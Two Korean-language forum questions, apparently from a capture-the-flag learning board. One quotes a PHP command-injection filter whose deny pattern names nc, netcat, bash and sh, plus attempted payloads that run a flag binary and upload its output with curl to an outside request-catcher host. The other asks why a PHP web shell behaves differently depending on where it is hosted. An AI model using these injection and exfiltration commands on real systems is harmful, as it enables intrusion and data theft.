$pattern = '/\b(flag|nc|netcat|bin|bash|rm|sh)\b/i'; if($_SESSION["auth"] === "admin"){ $command = isset($_GET["cmd"]) ? $_GET["cmd"] : "ls"; $sanitized_command = str_replace("\n","",$command); if (preg_match($pattern, $sanitized_command)){ exit("No hack"); } $resulttt = shell_exec(escapeshellcmd($sanitized_command)); } 위 코드는 test.php 코드의 일부입니다. test.php 파일에서 cmd를 GET 방식으로 받습니다. /flag를 실행하고 이 실행 결과를 curl로 전달받도록 명령어를 작성했습니다. /test.php?cmd=./fla* > result.txt /test.php?cmd=curl -F "file=@result.exe" https://bjljqzd.request.dreamhack.games -o result.txt 잘못된 부분이 있을까요?

제 웹서버를 열어서 php 웹쉘을 빌드하면 제 웹 서버의 파일들을 조회하고 있습니다 하지만 깃에서 raw 파일로 php파일을 올리면 플래그를 확인할 수 있었습니다. 문제는 다 풀었는데 무슨 차이인지 해답을 못 찾고 있습니다. 도와주세요사진은 제 웹서버에서 웹쉘을 빌드했을때 개발자 도구로보면 빨간색부분이 제 웹서버 주소입니다. 제 웹서버 파일들을 자꾸 조회합니다